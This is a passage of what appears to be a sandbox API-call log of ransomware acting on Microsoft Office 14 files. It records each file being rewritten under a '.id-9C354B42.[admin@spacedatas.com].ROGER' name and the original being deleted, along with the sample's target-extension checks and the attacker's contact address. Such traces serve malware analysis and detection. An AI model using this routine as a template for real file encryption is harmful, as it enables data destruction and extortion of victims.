liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.098] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0060.098] GetLastError () returned 0x0 [0060.098] ReadFile (in: hFile=0x358, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x5e158, lpOverlapped=0x0) returned 1 [0060.120] WriteFile (in: hFile=0x418, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x5e160, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x5e160, lpOverlapped=0x0) returned 1 [0060.127] ReadFile (in: hFile=0x358, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.127] WriteFile (in: hFile=0x418, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.127] SetEndOfFile (hFile=0x418) returned 1 [0060.127] CloseHandle (hObject=0x418) returned 1 [0060.127] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.128] SetEndOfFile (hFile=0x358) returned 1 [0060.131] CloseHandle (hObject=0x358) returned 1 [0060.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.131] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 1 [0060.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.131] lstrlenW (lpString=".doc") returned 4 [0060.131] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.131] lstrlenW (lpString=".docx") returned 5 [0060.131] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0060.131] lstrlenW (lpString=".pdf") returned 4 [0060.131] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString=".xls") returned 4 [0060.132] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString=".xlsx") returned 5 [0060.132] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0060.132] lstrlenW (lpString=".ppt") returned 4 [0060.132] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.132] lstrlenW (lpString=".zip") returned 4 [0060.132] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString=".rar") returned 4 [0060.132] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString=".bz2") returned 4 [0060.132] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.132] lstrlenW (lpString=".7z") returned 3 [0060.132] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.132] lstrlenW (lpString=".dbf") returned 4 [0060.132] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.132] lstrlenW (lpString=".1cd") returned 4 [0060.132] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.132] lstrlenW (lpString=".jpg") returned 4 [0060.132] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.132] lstrlenW (lpString=".doc") returned 4 [0060.132] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString=".docx") returned 5 [0060.132] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0060.132] lstrlenW (lpString=".pdf") returned 4 [0060.132] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.132] lstrlenW (lpString=".xls") returned 4 [0060.133] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.133] lstrlenW (lpString=".xlsx") returned 5 [0060.133] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0060.133] lstrlenW (lpString=".ppt") returned 4 [0060.133] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.133] lstrlenW (lpString=".zip") returned 4 [0060.133] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.133] lstrlenW (lpString=".rar") returned 4 [0060.133] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.133] lstrlenW (lpString=".bz2") returned 4 [0060.133] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.133] lstrlenW (lpString=".7z") returned 3 [0060.133] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.133] lstrlenW (lpString=".dbf") returned 4 [0060.133] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.133] lstrlenW (lpString=".1cd") returned 4 [0060.133] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0060.133] lstrlenW (lpString=".jpg") returned 4 [0060.133] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.133] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0060.133] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0060.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0060.268] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=138616) returned 1 [0060.268] CloseHandle (hObject=0x3a0) returned 1 [0060.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0060.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0060.268] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.268] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0060.268] GetLastError () returned 0x0 [0060.269] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x21d78, lpOverlapped=0x0) returned 1 [0060.294] WriteFile (in: hFile=0x3f8, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x21d80, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x21d80, lpOverlapped=0x0) returned 1 [0060.309] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.309] WriteFile (in: hFile=0x3f8, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.309] SetEndOfFile (hFile=0x3f8) returned 1 [0060.345] CloseHandle (hObject=0x3f8) returned 1 [0060.345] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.345] SetEndOfFile (hFile=0x3a0) returned 1 [0060.348] CloseHandle (hObject=0x3a0) returned 1 [0060.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.357] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 1 [0060.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.373] lstrlenW (lpString=".doc") returned 4 [0060.373] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.373] lstrlenW (lpString=".docx") returned 5 [0060.374] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0060.374] lstrlenW (lpString=".pdf") returned 4 [0060.374] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString=".xls") returned 4 [0060.374] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString=".xlsx") returned 5 [0060.374] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0060.374] lstrlenW (lpString=".ppt") returned 4 [0060.374] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.374] lstrlenW (lpString=".zip") returned 4 [0060.374] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString=".rar") returned 4 [0060.374] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString=".bz2") returned 4 [0060.374] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.374] lstrlenW (lpString=".7z") returned 3 [0060.374] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.374] lstrlenW (lpString=".dbf") returned 4 [0060.374] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.374] lstrlenW (lpString=".1cd") returned 4 [0060.374] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.374] lstrlenW (lpString=".jpg") returned 4 [0060.374] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.374] lstrlenW (lpString=".doc") returned 4 [0060.374] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.374] lstrlenW (lpString=".docx") returned 5 [0060.374] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0060.375] lstrlenW (lpString=".pdf") returned 4 [0060.375] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.375] lstrlenW (lpString=".xls") returned 4 [0060.375] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.375] lstrlenW (lpString=".xlsx") returned 5 [0060.375] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0060.375] lstrlenW (lpString=".ppt") returned 4 [0060.375] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.375] lstrlenW (lpString=".zip") returned 4 [0060.375] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.375] lstrlenW (lpString=".rar") returned 4 [0060.375] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.375] lstrlenW (lpString=".bz2") returned 4 [0060.375] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.375] lstrlenW (lpString=".7z") returned 3 [0060.375] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.375] lstrlenW (lpString=".dbf") returned 4 [0060.375] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.375] lstrlenW (lpString=".1cd") returned 4 [0060.375] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0060.375] lstrlenW (lpString=".jpg") returned 4 [0060.375] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.375] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0060.375] lstrlenW (lpString="LICLUA.EXE") returned 10 [0060.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0060.376] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=204168) returned 1 [0060.376] CloseHandle (hObject=0x40c) returned 1 [0060.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0060.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0060.377] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.377] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0060.377] GetLastError () returned 0x0 [0060.377] ReadFile (in: hFile=0x40c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x31d88, lpOverlapped=0x0) returned 1 [0060.382] WriteFile (in: hFile=0x39c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x31d90, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x31d90, lpOverlapped=0x0) returned 1 [0060.699] ReadFile (in: hFile=0x40c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.708] WriteFile (in: hFile=0x39c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.708] SetEndOfFile (hFile=0x39c) returned 1 [0060.712] CloseHandle (hObject=0x39c) returned 1 [0060.735] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.735] SetEndOfFile (hFile=0x40c) returned 1 [0060.737] CloseHandle (hObject=0x40c) returned 1 [0060.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 1 [0060.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString=".doc") returned 4 [0060.738] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0060.738] lstrlenW (lpString=".docx") returned 5 [0060.738] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0060.738] lstrlenW (lpString=".pdf") returned 4 [0060.738] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0060.738] lstrlenW (lpString=".xls") returned 4 [0060.738] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0060.738] lstrlenW (lpString=".xlsx") returned 5 [0060.738] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0060.738] lstrlenW (lpString=".ppt") returned 4 [0060.738] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0060.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString=".zip") returned 4 [0060.738] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0060.738] lstrlenW (lpString=".rar") returned 4 [0060.738] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0060.738] lstrlenW (lpString=".bz2") returned 4 [0060.738] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0060.738] lstrlenW (lpString=".7z") returned 3 [0060.738] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0060.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString=".dbf") returned 4 [0060.738] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0060.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString=".1cd") returned 4 [0060.738] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0060.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString=".jpg") returned 4 [0060.738] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0060.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.738] lstrlenW (lpString=".doc") returned 4 [0060.738] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0060.739] lstrlenW (lpString=".docx") returned 5 [0060.739] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0060.739] lstrlenW (lpString=".pdf") returned 4 [0060.739] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0060.739] lstrlenW (lpString=".xls") returned 4 [0060.739] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0060.739] lstrlenW (lpString=".xlsx") returned 5 [0060.739] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0060.739] lstrlenW (lpString=".ppt") returned 4 [0060.739] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0060.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.739] lstrlenW (lpString=".zip") returned 4 [0060.739] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0060.739] lstrlenW (lpString=".rar") returned 4 [0060.739] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0060.739] lstrlenW (lpString=".bz2") returned 4 [0060.739] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0060.739] lstrlenW (lpString=".7z") returned 3 [0060.739] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0060.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.739] lstrlenW (lpString=".dbf") returned 4 [0060.739] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0060.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.739] lstrlenW (lpString=".1cd") returned 4 [0060.739] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0060.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0060.739] lstrlenW (lpString=".jpg") returned 4 [0060.739] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0060.739] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0060.739] lstrlenW (lpString="MSO.DLL") returned 7 [0060.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0060.740] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=25417600) returned 1 [0060.740] CloseHandle (hObject=0x40c) returned 1 [0060.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0060.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0060.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0060.741] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0060.741] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.741] 